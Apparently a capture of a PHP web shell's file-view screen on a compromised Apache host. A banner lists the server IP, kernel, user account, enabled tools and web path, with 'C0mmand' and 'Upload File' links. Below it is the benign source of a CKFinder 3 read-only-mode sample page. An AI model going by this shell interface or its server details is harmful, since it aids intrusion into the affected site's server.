|
Server IP : 172.26.0.195 / Your IP : 18.217.224.165 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/css/../admin/pdf/../ckfinder/samples/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
<meta charset="utf-8">
<title>CKFinder 3 Samples</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!--[if lt IE 9]>
<script src="js/html5shiv.min.js"></script>
<![endif]-->
<link href="css/sample.css" rel="stylesheet">
</head>
<body>
<header class="header-a">
<div class="grid-container">
<h1 class="header-a-logo grid-width-30">
<a href="index.html"><img src="img/logo.png" alt="CKFinder Logo"></a>
</h1>
<nav class="navigation-b grid-width-70">
<ul>
<li><a href="https://ckeditor.com/docs/ckfinder/ckfinder3/" class="button-a">Documentation</a></li>
</ul>
</nav>
</div>
</header>
<main class="grid-container">
<nav class="tree-a tree-a-layout grid-width-30">
<h1>CKFinder Samples</h1>
<h2>Website Integration</h2>
<ul>
<li><a href="widget.html">Widget</a></li>
<li><a href="popups.html">Popup</a></li>
<li><a href="modals.html">Modal</a></li>
<li><a href="full-page.html">Full Page</a></li>
</ul>
<h2 class="tree-a-no-sub"><a href="ckeditor.html">CKEditor Integration</a></h2>
<h2>Skins</h2>
<ul>
<li><a href="skins-neko.html">Neko</a></li>
<li><a href="skins-moono.html">Moono</a></li>
<li><a href="skins-jquery-mobile.html">jQuery Mobile</a></li>
</ul>
<h2>User Interface</h2>
<ul>
<li><a href="user-interface-default.html">Default</a></li>
<li><a href="user-interface-compact.html">Compact</a></li>
<li><a href="user-interface-mobile.html">Mobile</a></li>
<li><a href="user-interface-listview.html">List View</a></li>
</ul>
<h2 class="tree-a-no-sub"><a href="localization.html">Localization</a></h2>
<h2 class="tree-a-active">Other</h2>
<ul>
<li class="tree-a-active"><a href="other-read-only.html">Read-only Mode</a></li>
<li><a href="other-custom-configuration.html">Custom Configuration</a></li>
</ul>
<h2 class="tree-a-no-sub"><a href="plugin-examples.html">Plugin Examples</a></h2>
</nav>
<section class="content grid-width-70">
<h1>Read-only Mode</h1>
<p>Read-only mode can be enabled in CKFinder with the <a href="https://ckeditor.com/docs/ckfinder/ckfinder3/#!/api/CKFinder.Config-cfg-readOnly"><code>readOnly</code></a>
configuration option. The user will be able to browse the files but will not be able to introduce any changes. Thanks to this setting you will be able to use
CKFinder as an online gallery.</p>
<p>Note: This will only disable certain UI elements. In order to successfully block file uploads and modifications, or to set read-only permissions for particular
folders, you will need to adjust <a href="https://ckeditor.com/docs/ckfinder/ckfinder3-php/configuration.html#configuration_options_accessControl">ACL settings</a>
accordingly in the server-side configuration file.</p>
<pre class="prettyprint"><code>CKFinder.widget( 'ckfinder-widget', {
readOnly: true,
width: '100%',
height: 500
} );</code></pre>
<div id="ckfinder-widget"></div>
<h2>Simple Gallery</h2>
<p>With a little bit of imagination it is possible to turn CKFinder into a very simple gallery. Here CKFinder is configured to
open a file on double click, run without a toolbar and without the folders panel.</p>
<div id="ckfinder-widget2"></div>
<p>The code behind this setup is quite simple:</p>
<pre class="prettyprint"><code>CKFinder.widget( 'ckfinder-widget2', {
displayFoldersPanel: false,
height: 500,
id: 'gallery',
readOnly: true,
readOnlyExclude: 'Toolbars',
thumbnailDefaultSize: 143,
width: '100%'
} );
</code></pre>
</section>
</main>
<footer class="footer-a grid-container">
<div class="grid-container">
<p class="grid-width-100">
CKFinder 3 – <a href="https://ckeditor.com/ckfinder/">https://ckeditor.com/ckfinder/</a>
</p>
<p class="grid-width-100">
Copyright © 2003-2019, <a class="samples" href="http://cksource.com/">CKSource</a> – Frederico
Knabben. <a href="https://ckeditor.com/sales/license/ckfinder">All rights reserved</a>.
</p>
</div>
</footer>
<nav class="navigation-a">
<div class="grid-container">
<ul class="navigation-a-left grid-width-70">
<li><a href="https://ckeditor.com/ckfinder/">Project Homepage</a></li>
<li class="global-is-mobile-hidden"><a href="https://github.com/ckfinder/ckfinder/issues">I found a bug in CKFinder</a></li>
<li class="global-is-mobile-hidden"><a class="icon-pos-right icon-navigation-a-github" href="https://github.com/ckfinder/ckfinder-docs-samples">Sample Plugins on GitHub</a></li>
</ul>
</div>
</nav>
<script src="js/sf.js"></script>
<script src="js/tree-a.js"></script>
<script src="../ckfinder.js"></script>
<script>
CKFinder.widget( 'ckfinder-widget', {
readOnly: true,
width: '100%',
height: 500
} );
</script>
<script>
CKFinder.widget( 'ckfinder-widget2', {
displayFoldersPanel: false,
height: 500,
// The main reason why ID is set here is "thumbnailDefaultSize" specified below.
// Without setting the ID, CKFinder would use remembered user setting from previously used instance.
id: 'gallery',
readOnly: true,
readOnlyExclude: 'Toolbars',
thumbnailDefaultSize: 143,
width: '100%'
} );
</script>
<script src="//cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js" type="text/javascript"></script>
</body>
</html>